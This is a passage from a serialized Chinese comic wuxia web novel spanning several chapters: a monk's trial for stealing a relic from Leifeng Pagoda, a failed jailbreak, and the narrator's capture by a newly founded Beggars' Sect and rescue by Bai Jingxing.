娄琴竟然没有生气。她的表情告诉我,她对此事并没有太过在意。她拍了拍我的肩膀,说:“他喜欢就让他拿去吧,不必管他。” 我不解,问:“那把剑不是对你很重要吗?” 娄琴淡淡的笑了,我感觉他的笑容中有苦涩,有伤心。她静静的笑了很久,悠悠的说:“曾经是很重要,但现在无所谓了?” 曾经很重要? 那现在又为什么会无所谓了? 我还想问。但娄琴已经走了。我忽然有一种感觉,我感觉那把剑里定然有着一段故事,而这个故事与我无关。 难道又是我自作多情? 娄琴或许对我真的没有什么情意。 晌午一过,陆游便回来了。他踏着沉重的步子,表情中尽是失落和沮丧。 娄琴迎上去问:“怎么样了?” 陆游摇头叹息:“这次恐怕真的不行了。圆通大师已被关进了大理寺的监牢。” “大理寺?”娄琴惊讶道,“不过是未经许可盖了间寺庙,至于那么严重吗?” 陆游说:“私设庙宇,不过是个幌子。真正的原因是,是……”他没有再说,只是叹息。 “到底是什么?”娄琴追问,“你倒是说清楚啊!” 陆游说:“大理寺的人说,圆通大师曾夜闯雷峰塔盗取国宝。” 什么?! 圆通竟然去偷东西?!这也太过荒谬,太匪夷所思了。 我说:“大理寺的人岂不是冤枉人吗?圆通是个和尚,他怎么会偷东西?” 重阳子喝道:“不错!这群狗官怎能胡乱栽赃?!” 陆游说:“我仔细问过,只怕此事并非栽赃。”他满面愁容,徐徐道来:“起初我也不愿相信,于是亲自到大理寺求见了一位家父的故交,他告诉我,圆通大师曾于数月前潜入雷峰塔盗取国宝,被雷峰塔内镇守国宝的高手打伤,那名高手独门暗器锥形镖正中圆通大师后心,至今疤痕尚在。大理寺已传令那名高手验伤,另有三名当夜被大师打伤的官兵,曾与大师照面,如今也前去指认。此事证据已然确凿,恐怕……” 陆游没有继续往下说,但所有的人都沉默了。 原来,那日圆通的伤就是这样来的。 可是他为什么要去雷锋塔偷东西呢? 他不是时常在雷峰塔前跪拜,忏悔吗? 我问:“他偷了什么?” 陆游说:“是如来佛祖的舍利。” 舍利? “什么是舍利?”我问。 陆游眯着眼睛想了半天,支支吾吾不知如何解释。李小谦接过话茬,说:“就是佛祖的头发。” 我问:“佛祖也没有梯度吗?” 李小谦刚想回答,却被娄琴厉声喝止:“都什么时候还讨论这些没用的!” 我这才醒过神儿来,如今最重要的事,是圆通,不是佛祖。 娄琴问陆游:“可有什么办法将圆通大师救出来?” 陆游摇了摇头,说:“盗取国宝乃是死罪,并且此事已经惊动了皇上,恐怕没用办法了。” 不知为何,当陆游说到“皇上”时,娄琴的表情有一丝微妙的变化。她隐藏得非常好,立即闭上眼睛,将头侧到一边。 我说:“我去找皇上。” 这话一说完,所有人的目光一同投向我,他们仿佛见到怪物一般地看着。李小谦说:“你到哪里去找皇上?皇上还得不把你抓起来砍了!” 皇上说过,我帮过他一次,他不会亏待我。他说过,今后会有我的好处。我想去找他要这份“好处”,那便是把圆通救出来。 我说:“前日晚上,在那个小镇上,我救了皇上,他欠我人情。” “什么!”李小谦张大嘴巴,叫道,“你救了皇上?这么好的事,你怎么不叫上我?你怎么救的皇上?皇上干什么了需要你救?” 他的问题很多,神情也很激动。 我说:“皇上出宫......”我突然发现那件事我不能说,皇上威胁我说,如果我敢说出去他就杀了我。 我当即改口,说:“我不能说。” 所有的人都满脸期待地等着我讲皇上的故事,我说完“不能说”几个字,他们的脸上纷纷飘过失望。 只有娄琴,她转过身去,背对着我们,淡淡地说:“他身在宫中,岂是我们说见就能见到的。算了,不要痴人说梦了。” 陆游说:“是啊。且不说皇上是否会答应你的请求,即便是你想见,恐怕也是难过上青天啊。” 我说:“哪怎么办?” 娄琴深深吸了一口气,重重地说:“劫狱!” 第一卷 最后一个武林盟主 第五十六章 堂审 然而,这次我们并没有去劫狱。 陆游说:“劫狱有违朝廷法度,是死罪。” 重阳子说,陆游怕死,他不怕,他要去劫狱。 陆游气的火冒三丈,竖起的头发都要炸开了,他一拍桌子,说:“我岂是贪生怕死之徒?国家已有法度在,圆通大师既然违反律法,理应受罚。我等虽不愿接受,却也不能违反国家法度。” 汤明法说:“请问陆兄,鱼肉百姓,贪赃枉法,数额巨大者,依律如何?” 陆游说:“死罪。” 汤明法又说:“违天逆理,专事阿党,利惑君心,阻塞义理之路者,依律如何?” 陆游说:“死罪。” 汤明法再说:“劫制君父,包藏祸心,里通外国,忘仇斁伦者,依律又当如何?” 陆游说:“更是死罪。” 汤明法目光凛然,一字一字地,重重地说道:“既然如此,秦桧为何不死?!” 陆游沉默了。他的确无可辩驳,秦桧所犯下的罪过,在民间早有议论。他的种种行为几乎是公开的秘密。 汤明法凛然道:“圆通大师盗窃国宝的确有违律法。然而,律法也,举重明轻,既然秦桧万般该死却仍然逍遥法外,那凭什么圆通大师就要为此葬送性命?” 李小谦连连点头,说:“对啊,对啊,法律顶个球儿啊!” 汤明法冷哼一声,说:“只怕如今,连个球也不顶了吧!” 陆游被他们俩说得哑口无言,一张脸憋得通红,他咬着牙,狠狠地说:“那也不能劫狱。”他沉默一会儿,脸色渐渐缓和,说:“我再去想想办法。” 因娄琴提议劫狱而引发的争论,最终无果,大家不欢而散。 第二天一早,陆游又出门了。 汤明法与重阳子都赞成劫狱,但当他们请李小谦与他们一同前去时,李小谦说:“我虽然不忍心看着师父在狱中受苦,但劫狱实属下策,不到万不得已之时,绝不能铤而走险。还是等等陆游吧。” 又过了晌午,陆游又回来了。 众人见陆游迈入客栈,一拥而上,争相询问结果。 陆游说:“明日,大理寺开堂审理圆通大师盗窃国宝案子,由大理寺卿周三畏主审,此人为人正直,与我叔父交好。我递上拜帖,向他说明缘由,他最终同意我带两个人到大理寺侧堂听审。” 众人长吁,满脸失望与不屑。 重阳子说:“听审有个球用,又不是主审!” 陆游着急地说:“这已是法外开恩了。圆通大师佛法高深,不 会无缘无故盗窃国宝,我们总要弄清其中缘由,再做打算吧。” 李小谦说:“带谁去?” 陆游说:“你与姬兄。” 李小谦爽快地答应了,说:“好!我去长长见识,积累点素材,回去写的时候或许能用得上。” 陆游目光闪烁,流露出钦佩之色,问:“李兄还写?” 李小谦笑了笑说:“闲来无事,随便写写。” “哦?!”陆游钦佩之色更浓,问:“何种题材?” 李小谦说:“大概和《金瓶梅》差不多。” 陆游不解,问道:“金瓶梅?从未听过!” 李小谦呵呵一笑,说:“你是没有机会看到了。” 陆游说:“李兄大作,可否让小弟拜读?” 李小谦摇了摇头,说:“恐怕不行。我没带电脑,不然一定让你大饱眼福。” 他又说了一些莫名其妙的话。陆游满头雾水,李小谦却叹息着走开了。 大理寺。 一个专管刑律的衙门。历朝历代皆而有之。能到这个衙门里受审的,无一不是朝廷的重犯。 站在恢弘气派的大理寺门口,严肃的气氛,莫名地让我感到一阵恐慌。 陆游向差役递上一封手书,那是大理寺卿周三畏亲笔所写。差役看过手书,恭敬地将我们引入一间屋子,说:“几位在此听审,审理期间请不要发出声响。” 陆游向差役道谢之后,差役便掩上房门走了。 这是一间狭小的屋子,屋中仅有一张桌子,两把椅子,再无他物。与众不同的是,这间屋子的侧墙之上有扇窗户,窗户被木板封死,仅侧面露出一掌宽的缝隙。 我们三人,便挤在这道缝隙边,窥视圆通受审的整个过程。 当惊堂木“啪”的一声落下时,只听堂中一人厉声喝道:“带人犯!” 两旁差役用杀威棒戳地,发出无序的“啪啪”声,齐声呼喝:“威武!”门边一个差役扯着嗓子大喊:“带人犯!” 李小谦说:“怎么和电视上演得一样?” “嘘!” 陆游做了一个噤声的动作。 “哗啦,哗啦”一阵铁链声传来。圆通被两个虎背熊腰的差役挟着缓步走到了堂中。 “啪!”又一声惊堂木。 周三畏喝道:“大胆人犯,见到本官为何不行礼?!” 圆通双手合十,微微欠身,道:“阿弥陀佛!”随后,他直起身子,怔怔地看着周三畏。从侧脸可见,他还挂着一丝淡淡的 笑容。 堂上一片寂静。周三畏有些尴尬,他轻轻咳了两声,说:“绍兴十二年九月初十戌时,你身在何处?” 圆通答:“贫僧不记得了。” 周三畏问:“可曾去过雷峰塔?” 圆通答:“去了。” 周三畏问:“去雷峰塔作甚?据实招来。” 圆通说:“去取回我师父的东西。” 周三畏问:“大胆人犯,你分明是去盗窃国宝舍利,怎么说是取你师父的东西?” 圆通说:“阿弥陀佛,出家人不能偷窃。我只是去取回我师父的东西。” 周三畏问:“你深夜潜入雷峰塔,怎能说不是偷窃?” 圆通说:“贫僧并非潜入,而是从大门进去的。” 在另外一个屋子的我们三人彼此对视,脸上都有喜悦。或许,圆通盗窃国宝的事,真的另有隐情。 周三畏一拍惊堂木,喝道:“雷峰塔守卫森严,你说你从大门而入,怎能没有守卫阻拦?” 圆通说:“他们阻拦了。” 周三畏说:“那你是如何进去的?” 圆通说:“贫僧点了他们的穴道。” 周三畏问:“什么是点穴道?” 我心中一凛,暗叫不妙。只见圆通缓缓抬起双手,随即锁链哗啦一响,他身旁的两个差役便一动不动地定在了那里。 圆通微微一笑,说:“这就是点穴道。” 周三位似乎并没有看出那两个差役的异样,追问:“什么意思?” 圆通叹了一口气,忽然身形一动,锁链哗啦乱响,当时化成一道黄影堂中正襟危坐的周三畏闪去。 当锁链不在响的时候。 当黄影又变成圆通的时候。 只见堂中的周三畏,瞪着惊恐的眼睛,张着惊讶的大嘴,一动不动。 圆通当堂点了大理寺卿周三畏的穴道。 周三畏勃然大怒,称贼僧圆通,盗取国宝,藐视公堂,侮辱朝廷命官,三条大罪,当堂判处圆通死刑,十日后问斩。 其实我们已经猜到了结果。 但是,我们却又都没有想到会是这样的结果。 圆通就要死了。禅慧寺就要完了。 我刚刚将有起色的生活,化为泡影,沉入了无边的浩海。 娄琴客栈。 我们众人围桌商议。娄琴豁然站起,一拍桌面,颇有女侠英气。她目光扫过众人,语气坚定的说:“劫狱!” 这一次,陆游没有在说话。 (本章完) 第一卷 最后一个武林盟主 第五十七章 劫狱 关于劫狱,我们制定了一个十分周密的计划。 但是,这个计划与娄琴和李小谦无关,因为他们并不参与劫狱。 娄琴一介女流,纵使她武功高强,但我们仍然不愿让她与我们涉险救人。虽然她一直在坚持,但还是被众人一致拒绝。 而李小谦,他因腹部的伤口仍未痊愈,被理所当然地排除在劫狱人选之外。 李小谦对此似乎有些不悦,他说:“牢里面关得是我师父,大家要去救的也是我的师父,我怎么能不参与呢,这样不好。” 我点了点头,说:“的确,这样不好。”随即,我腰间一疼,竟是李小谦又在暗处掐了我一把。 我问:“你为何要掐我?” 李小谦仿佛是没有听到一般,向众人拱手抱拳,道:“那就有劳众位兄弟了!” 众人纷纷还礼。 我追问:“你为何要掐我?” 李小谦笑了笑,随即目光阴冷,咬牙切齿地说:“因为,你踩到我脚了!” 我踩到了李小谦的脚? 我使劲地回忆了一下,说:“我没有。” 李小谦没有再理会我,他不停地向众人寒暄道谢,看似颇有诚意,但以我对他的了解,加之他的各种小动作,让我感觉到李小谦并不诚心。 当然,这样的插曲并不能改变劫狱计划的进程。他就像是人一生中一次无足轻重的偶然事件,永远无法阻挡人生的进程一般。 当夜,我、陆游还有唐明法兄弟六人,如约出现在大理寺东墙之外。 这里靠近大理寺监牢最近。 一条笔直的大街,南北走向,东面是伸展开的长长的大理寺围墙,西面是临安府有名花柳一条街,灯红柳绿,莺歌燕舞,粉香浓重。 之所以选择此处动手,主要是考虑到在这片柳陌花街之中,有一座十几丈高的花楼,名叫燕莺阁。陆游不愿直接参与劫狱,所以,众人商议,利用陆游的轻功,在高楼之上为我们放风。 我的任务是,在燕莺楼外接应潜入大理寺监牢中劫狱的唐明法兄弟。 我们约定,如果唐明法等人劫狱成功,陆游则上下挥舞拳头,我便跑到大理寺东墙下接应逃出来的圆通,为他戴上假发,换上装扮,躲进妓院。唐明法兄弟六人则四散而逃,让追兵摸不清方向。 如果唐明法等人劫狱失败,陆游则左右摇摆手掌,我则调头离开,立即赶回娄琴客栈。 商定之后,我忽然更加渴望这次劫狱大获全胜。 因为,在雁荡山的时候,大哥赵祸甲常与山上的兄弟去妓院玩耍。那时,他对我说:“旦丙,等你长大了,哥就带你去妓院逛逛。”直到灵峰寨被官兵剿灭,我兄弟四人失散,我都没有去过妓院。 如今,站在这花花世界里,我很想进去看看。那个能让大哥频频淫光大放,口水直流的妓院,到底是怎样的光景。 皓月当空,明媚的月光照亮了它背后的夜幕,却在这莺歌燕舞的花街柳陌里黯然失去了光彩。 “大爷,过来玩啊!” “到我们这边来吧!” 门口招嫖的姑娘像极了饥饿的狼,捕获着从旁路过的汉子。 我抬头望了一眼站在燕莺楼上傲视西方,那个沉入夜幕里,与这片花街柳市形成鲜明对比的大理寺。 “小公子,夜间清冷,何不进来暖暖身子?”一个姑娘,轻摇蒲扇,扭着屁股向我走来。 看着这个突如其来的姑娘,我的心咚咚直跳。挺标致的姑娘,浓妆艳抹一番,竟把自己画得像个妖怪。 脂粉扑面如白纸一般的白,青黛画出的柳叶眉毛,在夜里闪着紫光,还有那强行画出来的樱桃小嘴,真的如樱桃一般大小。 我说:“你走开!” 女妖噗嗤一笑,额上的褶子一挤,落下几片脂粉。她骚里骚气地说:“来嘛!都到了门口了,何不进来玩玩。”她手伸过来就要抓我。 内心里强烈的嫌弃感让我瞬时闪开,喊道:“不要碰我!” 女妖搔首弄姿地又靠了过来,说:“怎么还这么害羞呢?” 我再向后挫出几步,说,不是害羞,是害怕。 女妖又笑了,笑得十分恐怖:“公子真会说笑,我还能吃了你不成?”说吧,他她又向我靠来。 我急得出了一身冷汗。就在她妖艳的肉体,几乎就要触碰到我的肌肤的那一刻,几乎是下意识的一拳戳在她的鼻梁上。 “啊!” 女妖一声惨叫,两只鼻孔缓缓流出血来。她随即捂着鼻子呜呜直叫,转身大喊一声:“妈妈,有人来砸场子!” 接着,燕莺阁里冲出一个分外妖娆的老婆子,她身后领着五个彪形壮汉,让我怒气冲冲的走来。 “是哪个不长眼的敢来我燕莺阁闹事?!”她看了一眼鼻子以下以鲜血淋漓的女妖,瞪圆了眼睛,喊道:“还敢打我们家姑娘?!吃了雄心豹子胆!” “他,是他!”女妖指着我喊。 几个汉子凶神恶煞,撸起袖子做势就要打我。我明见吃亏就在眼前,仰天长啸:“陆兄,救我!” 我悲怯的嘶吼,没入花街柳巷悠长的声曲里。陆游傲然直挺,站在高处,目不斜视地看着西方。 我眼见求救无果,扭头便跑。五个壮汉登时化作捕食的野兽,紧追不舍。 “站住,别跑!” “打死他!打死他!” 身后传来“野兽”的嘶吼。我惊恐万分,只得抱头鼠窜,在花街柳巷里来回穿梭。 一时间热闹的阿街柳巷更加热闹了。四处想起戏虐的笑声与呼喊声。我一面奔跑,一面回首遥望,站在燕莺阁楼顶的陆游。 他依旧面向西方,一动不动的站在那里,似乎楼下的世界与他全然无关。 忽然,我看到了陆游身形一动,转身向楼下摆手。手摆了两下却又止住了,左右扭头,开始四处寻觅。 劫狱失败了?! 我心中大喜,原本颇为强烈的逛妓院欲望,已被那个搔首弄姿的女妖和身后紧追不舍的野兽吓得荡然无存。 此刻,我只想跑,向着娄琴客栈的方向奔跑。 尽管我拼尽全力,却依旧没有逃脱野兽的魔爪。 五个人。十只拳头。如雨点一般的打在我的身上。 无奈的愤怒,屈辱的疼痛,痛苦的哀嚎。最终没有换来一丝的同情与怜悯。 当我带着一身伤推开娄琴客栈木门的那一刻,十几双眼睛齐刷刷地盯着我,由愤怒转为惊讶。 “姬兄!你怎么了?!”陆游问。 看着一脸茫然的陆游,我气的几乎要炸了,恨不得历时揪住他暴打一顿。但浑身的疼痛也让我丧失了全部的力气。 我叹了口气,问:“圆通呢?” 重阳子一拍桌子,叫道:“他娘的,我们费了这么大的力气,冒着这么大的风险,把大理寺监牢翻了个底儿朝天,都没有找到一个光头。最后抓住一个狱卒一问,原来那老和尚,昨天就已经越狱逃跑了。” 圆通越狱了?! 我问:“他去哪儿了?” 所有的人一起摇头。 他越狱了会去哪里?莫非是回禅慧寺了? 我将目光投向李小谦,刚要开口问他。李小谦却说:“禅慧寺我已经去过了,那里没人。” 圆通自行越狱,让这场劫狱风波就这样平稳地过去了,没有牵连了到任何人。接下来的几天里,我们一直在打探圆通的消息。大理寺也大街小巷贴满了追捕圆通的告示。 然而,圆通就像是突然沉入了大海的一粒沙子。沉下去,就再也没了影迹。即便是这个世界上还有一群曾为他忙碌、担忧、牵挂的人,他也没有回到这里来看望一眼。 八日后,本应是圆通问斩的日子。 天空阴云密布,小雨窸窣。冷不丁一声闷雷打响,却也给人带不来一丝的惊恐。 我问李小谦:“圆通去哪里了?” 李小谦摇头叹息,说:“他自有要去的地方。” 我忽然感觉李小谦知道些什么,毕竟他知道圆通的很多事情。我问:“你是不是知道圆通去了哪里?” 李小谦点了点头,说:“他去了他该去的地方。” 第一卷 最后一个武林盟主 第五十八章 乞丐 圆通走了。 他便如此莫名其妙地失踪了,自此音信全无。仿佛从未在我们身边出现过一样。 然而,他却给我留下了太多太多的疑惑。比如,他被赶出少林的十六年到底经历了什么?为什么他会常常跪在雷锋塔前忏悔?为什么他那万年都无波澜的眼神中有时会让我感到今人窒息的悲伤?而越狱之后的他为什么又会突然消失? 他就是一个谜。一个出现在我生命中,尚未解开就已消失的谜。这个迷让我在未来的很长时间里都难以释怀。 再见圆通之时,已是三十年后。 那日,我背着破旧的老框孤独地走在朔北的小镇上。熙熙攘攘的人群中,一个佝偻的老和尚看着我,而我也看见了他。 我们四目相对。他依旧平淡,却满脸都是让人心疼的沧桑。他的光头不再雪亮,他的目光不再有神,他的眉须已然花白。 圆通轻诵佛号,问:“小施主近来可好?” 我微微一笑,答:“大师一切可安?” 我俩各自又笑,却彼此擦肩而过。当我再回头时,他便又一次消失在了浩如烟海的江湖。 仰望天空,我想起了少年时的自己。那时,他执着执迷,对一切事都喜欢刨根问题。但后来,他便会懂得,这个世间有太多人或事会出现,或与这些人与事曾经很重要,但却会忽然消失了。 任何试图探究原因的努力终究是徒劳的。因为,在曾经的那个江湖中、那个时代里,每个人,每一天都在千变万化。 因为,那不仅仅是一个江湖,更是一个人诡谲难测,不可捉摸的一生。 绍兴十三年七月。 酷热的天气湿透了每一个人的衣衫。李小谦快步走进了娄琴客栈,淋漓大汗让他仿佛是刚经历了一场大雨一般,浑身湿漉漉的。 我笑着说:“掉水里吗?” 李小谦白了我一眼,没有理会我,径直走向娄琴,说:“娄姐姐,我刚刚得到准确消息,很快我们就要发财了。” “什么发财?”娄琴停止忙碌,问,“财从何来?” 李小谦自己倒了一碗水,如饮驴一般地咕咚了几大口,“哈”的一声爽呼,袖子抹去嘴角的水痕,说:“五日之后,十大门派齐聚临安府。”他神情兴奋,几乎难以自持。 “那又如何?”娄琴淡淡地问。 “如何?!”李小谦瞪大眼睛,摇着拳头,说,“十大门派啊,那得来多少人啊,我亲爱的娄姐姐。” 娄琴脸颊一红,一只手戳在李小谦眉心,嗔道:“呸,没羞没臊,叫谁亲爱的呢!” 李小谦轻轻打了自己的嘴,说:“失言!该死的封建社会!” 娄琴笑着说:“好啦,这样热的天不要乱跑了,后厨做了酸梅汤,一会儿拿出来喝一碗,解解暑吧。”她刚要转身离开,却被李小谦一把拉了回来,说:“娄姐,这么好的机会,不狠狠捞上一笔?” 娄琴问:“怎么捞?” 李小谦狡黠一笑,说:“吃饭加钱,睡觉翻倍啊!” 娄琴说:“不行。” 李小谦急道:“为什么不行?” 娄琴说:“此法有违诚信,不行!” 李小谦说:“娄姐,这根本就不关乎诚信的问题,而是市场规律,供需使然。再过几天,临安府的客栈,将供不应求,这个时候你无论提多少价,都会有人来住。” 娄琴摇了摇头,走了。 我看着,急得咬牙切齿的李小谦,问:“十大门派来临安府做什么?白景行会不会来?” 李小谦说:“据说是要一起上表朝廷,陈书行业自律。白景行一直都在临安,你不知道吗?” 他一直都在临安? 那日我在客栈里听两个江湖人闲谈,得知白景行到了临安府,却不知道他一直都没有离开。 我问:“他在哪里?” 李小谦说:“我怎么知道,我又没有见到他。”忽然,李小谦眼睛一亮,一把搂住我的脖子,说:“旦丙,哥哥对你怎么样?” 我想了想,说:“不怎么样。” 李小谦推了我一把,说:“没良心,哥哥对你不薄。如今又有发财的机会了,你要不要跟哥哥干一票?” 我说:“要!” 有发财的机会谁会不要?到思考一番,自从跟了李小谦,从来都没有挣到过一文钱。禅慧寺香火的事给了我很大的希望,曾一度被我视为人生的重要转折,而结果,却以圆通被抓而落空。这件事想起来依然让我心中耿耿。 我问李小谦:“有什么赚钱的机会?” 李小谦说:“娄姐姐不愿涨价,我们就替他出门拉客了,我们高价收费,回到客栈之后原价交到柜上,这样我们就可以从中赚取差价。” “这……”我犹豫了,“娄姐姐不会同意的。” “我们不说她不会知道的。”李小谦说。 我还是犹豫。娄琴明言,坐地起价有违诚信。但李小谦一拍桌板,说:“旦丙,人生在世不过短短数十载,岂能总是寄人篱下?我们兄弟二人总要给自己赚些资本,以后起大事之时,也不至于囊中羞涩吧。” 我被李小谦说得热血沸腾,一拍桌子,说:“好!” 说干就干。 李小谦拉着我来到临安府东城门,这里是平民百姓进出的必经之路。他拿出早已备好的的两块木板,掀开盖在木板上的花布。两个笔锋凌厉的大字出现在我的面前。 “住宿?!” 李小谦将一块木板递到我手中,我更加不解,问:“拿这个做什么?” 李小谦嘿嘿一笑,举着木板,跑到三个手持长剑四处张望的壮汉面前,问:“几位大哥,要住店吗?”他将木板在那些人眼前一晃,表情极尽谄媚。 那三名汉子或是没有见过这样招揽客人的,皆是一脸朦胧。一个壮汉似乎有所领悟,问:“你是哪家窑子的?” 李小谦一怔,笑道:“小店正规客栈,不是青楼。” 那汉子一撇嘴,说:“去去去,到别处去!”随机,他从腰间掏出两块碎银子扔到李小谦身上。 碎银子“啪嗒”两声摔在地上,李小谦啐了一口,捡起银子走了回来。 “看到没有。哥哥我赚了两块碎银子!”李小谦在我面前显摆着。 一个衣衫褴褛的乞丐端着破碗,拉着一根弯弯曲曲的木棍一瘸一拐地走了过了。他站在我和李小谦面前,上下打量了一番,说:“你是哪一支的?懂不懂规矩?!” 李小谦问:“你又是哪一支的?有什么规矩?” 乞丐轻蔑一笑,说:“敢情你们不是丐帮的人!不拜山头,就敢在临安府要饭,是不是想找死?!” 李小谦怒骂:“尼玛,要个饭也拜山头!再说了,老子又不是要饭的!快滚!” 那乞丐被李小谦一骂,登时暴躁如雷,挥着拳头大叫:“你敢瞧不起我们丐帮的兄弟!” 李小谦白了他一眼,说:“旦丙,我们走!” 我看了那乞丐一眼,他的双目如同灼热的烘炉正在向我们抛射愤怒的火焰。我猛然抖了一个激灵,感觉似有危险临近,赶忙随李小谦扭身离开。 当我扭过身子的那一刻,我忽然觉得一股凉气从后背直拔头顶,强烈的恐惧让我的心狂跳不止。 因为,当我转过身的那一刻,看到的竟然还是那个乞丐,他阴冷的脸,还有他那喷射着怒火的双眼。 (第二更两个小时后发.....姬旦丙、李小谦身陷丐帮!) 第一卷 最后一个武林盟主 第五十九章 命悬 转身的一瞬间,他又出现在我眼前。 他的眼睛,让我不敢抬头看。 “我靠!”李小谦一声惊呼,随即笑脸相迎,说道,“原来这位大哥是丐帮的高手啊,小弟有眼不识泰山,失敬失敬!” 乞丐冷哼一声,说:“你坏了我们丐帮的规矩在先,蔑视丐帮在后,岂能说三两句好话就能算了的。” 我问:“你想怎么样?” 乞丐眼角抽搐,缓缓将手指送入口中,“噗噗”两声,没有吹响。他有些尴尬,却很快地掩饰下去,仰头大叫一声:“都出来!” 话音一落,犄角旮旯里蹲着的乞丐从四面八方蜂拥而来,仅一眨眼的功夫,我和李小谦就被一群破衣烂衫、满脸污秽的乞丐团团围在了中间。 一群乞丐齐呼:“王长老有何吩咐?” 刺鼻的味道让我不敢呼吸,即便是用嘴吸气,也总感觉空气里有一股让人作呕的焦酸。 我强忍着内里翻腾的呕意,叫道:“你们要干什么?” 那个被称作“王长老”的乞丐冷哼一声,说:“将他们带回去!” “啊,呀,呀,呀,呀!”李小谦一声长啸,摆出少林派擒拿手架势,怒视众人,喝道,“我乃少林派圆通大师座下亲传弟子,尔等狂徒,看你们谁敢乱来!” 他擒拿手架势摆的有模有样,一时间竟然真的将一群乞丐镇住,吓得他们寸步不敢上前。 我心里一喜,顿时松懈下来,眼看这场危机即将化解。却见那王长老身形一动,在我二人胸口啪啪一点,我当即全身麻木,动弹不得。 “带走!”王长老大喝一声。 十几个乞丐一拥而上将我二人五花大绑。随后,七八双手将动弹不得的我举过头顶,向未知的方向走去。 烈日当空,青云朵朵。我被一群乞丐举着,仰面朝天,刺目的阳光照得我眼中世界一片亮白。 一阵颠簸之后。我被重新放回了地面。过了好久,眼前白茫茫的一片才渐渐消退,当茫然褪去,映入我眼中的是乌泱泱的一大群乞丐。 这里好像一个祭坛。 我的脚下是圆圆的土台,身旁是仍然摆着擒拿手架势的李小谦,还有那个叫“王长老”的乞丐。 土台下是架起来的一人高的篝火堆,七八十个乞丐纷纷持着棍棒站在台下,他们个个眼中带着渴望,似乎在等待着什么。 大白天的生火,莫非这群乞丐饥不择食,竟要将我和李小谦烤来吃掉? 我浑身冷汗直冒。 王长老向前一步,朗声说道:“兄弟们!我们丐帮上个月刚刚成立,目的就是要让全天下看不起我们的人不敢再轻视我们!帮主临走时曾经说过,我们不能被抢饭碗,也不能被蔑视,更不能他娘的被抢完了饭碗还被蔑视!” 一群乞丐登时情绪高涨,齐呼有理。 王长老又说:“今天这两个小子在我的地盘上讨了两块银子,竟然还侮辱我是要饭的。言语中极尽蔑视之意。兄弟们,你们说我应该怎么办?” 台下群情激荡,齐声大叫:“杀!杀!” 听了他们的呼喊声,我心中一凉,悲切之情,油然而起。我感慨,人生在世,果然要如履薄冰,稍有不慎,行差踏错,便会枉送性命。如今,身陷丐帮,命悬一线,回想我这一生,心中不仅泪流。 我幼年没了父母,少年死了师父。逃离地狱一般的雁荡山,兄弟分离,只想着凭一己之力,在这茫然的江湖中寻得一片安身立命之地。如今这一切即将化为泡影。难道人的一生当真如此艰难吗? 王长老解开了我们的穴道。我被绳子捆的结结实实,依旧动弹不得。 但李小谦被点穴之前拿的是少林擒拿手的架势,那真乞丐无从下手,因而将他捆得十分随意。他一把扯下身上的绳索。使出少林擒拿手中的龙爪式,身子一纵,锁住了王长老的咽喉。 台下一群乞丐眼看着王长老被李小谦擒获,撩起棍棒喊着号子就要冲上来与我们火拼。我吓得慌忙跳到李小谦身后,只听李小谦厉声大喝:“都给我站住。” 所以的乞丐怔怔地停在了原地。 李小谦嘿嘿直笑,说:“瞅瞅你们这熊样儿,还想杀老子!一群臭要饭的!” 我被李小谦的情绪感染,顿时感觉腰杆硬了许多,往前一挺,叫道:“不错!一群臭要饭的!” 当我再向后退时,犹豫绳索捆绑着,腿脚不甚利落,一时不稳,歪倒在李小谦身上,将他砸在地上。 王长老因此获救了。 “啊!” 乞丐们群声呼喝如滔滔巨浪滚滚而来。李小谦大叫:“姬旦丙,你大爷的!”随即将我挡在身前。 圆通、娄琴、陆游、白景行。这些高手的名字一一闪过我的脑海,他们都曾在我危难之时相伴左右,救我于生死边缘。 如今,我再度蒙难,他们又在哪里? “救命啊!”我拼劲权利,我感觉我发出了这一生中最真诚的呐喊。 “铮!” 剑出鞘,声音在耳际脆响,悦耳动听。 白光一闪。剑声如龙吟,冲破巨浪滔滔。 仅那么一瞬间,所有的声音都骤然消失。空气几乎凝固了,我听到自己急促的喘息和心脏的跳动声交相呼应。 我缓缓睁开眼睛。天空还是一样的天空,刺目的骄阳依旧刺目如斯。 我身子一歪,如坠一般地摔在地上。脸朝下,砸在地上不仅疼,而且吃了一嘴的泥土。 “李小谦!你这个贱人!”我扭头大骂,却看见白色衣衫的衣角,在我眼前三尺之处飘荡。 一股酒香随声袭来,熟悉的味道,熟悉的感觉。 是白景行! 我大喜,想要站起来,却浑身被捆绑着不能动弹。 “嗖,嗖,嗖。” 剑光一闪,破空声贴着我的衣裳传进耳朵。我只觉得全身骤然松宽,身上的绳索已被白景行用利剑割断。 站起身来,白景行正往口中倒酒。透亮的清冽在灼阳下闪着刺目的光,让这酒看起来更加浓烈。 “多谢前辈相救!”李小谦向前行礼。 我回头看台下的乞丐,地上横七竖八地躺着一片,没躺下的人也都一动不动地站在原地,惊恐万分地看着眼前的白衣老头,不敢上前一步。 “谁是王冲?”白景行喝道。 那个王长老哈着腰,屁颠屁颠地跑到白景行跟前,讪笑道:“是小的,小的就是王冲。” “哈!”白景行冷笑一声,说,“我当这丐帮的大长老是谁呢,原来是当年被月牙山庄赶出去的那个小偷啊!” 王冲一脸尴尬,眼角抽搐,似有愤怒。但他,绝对不敢对白景行发作,只是强颜欢笑,连连点头称是。 白景行说:“丐帮的事,我管不了。但这武林中的事,我却不得不管。” 王冲继续赔笑:“那是自然,白盟主还是公选的武林盟主,我丐帮想在江湖上立足当然要听从白盟主的号令。” 白景行目光冷峻,盯着王忠冷冷地说:“你可知我在巢湖武林大会上曾经定下三条规矩?” 王冲点头道:“知道,知道。” 白景行说:“是什么?说来听听。” 王冲开始支支吾吾。我努力回想了一下,说:“其一,严禁私斗!其二,严禁为恶!其三,我想好了再说!” “啪”的一声,一只有力的手打在我的后脑。我以为是李小谦,扭头揪住他衣领质问:“为何打我?!” 李小谦却指了指白景行。我再看向白景行,只见他瞪着眼睛,喝道:“小兔崽子,有你什么事?!” 是我又做错了什么吗? 第一卷 最后一个武林盟主 第六十章 王冲 没有人会告诉我,我做错了什么。 更不会有人在这样的场合中告诉我这样的事。 白景行目光如炬,盯着王冲冷冷地说:“你们帮主是何人?现在何处?” 王冲抬起头,目光接触到白景行的双眼,身子猛然一抖,惊慌地低下头去,诺诺地说:“帮,帮主名叫马小六,自我们丐帮成立之后,他便已经云游四方,将帮中大小事务交给小的打理。” 白景行说:“如此一说,你便是代帮主之职了?” 王冲说:“小的不敢,不过是受帮主委托,代他管理丐帮事务罢了。” 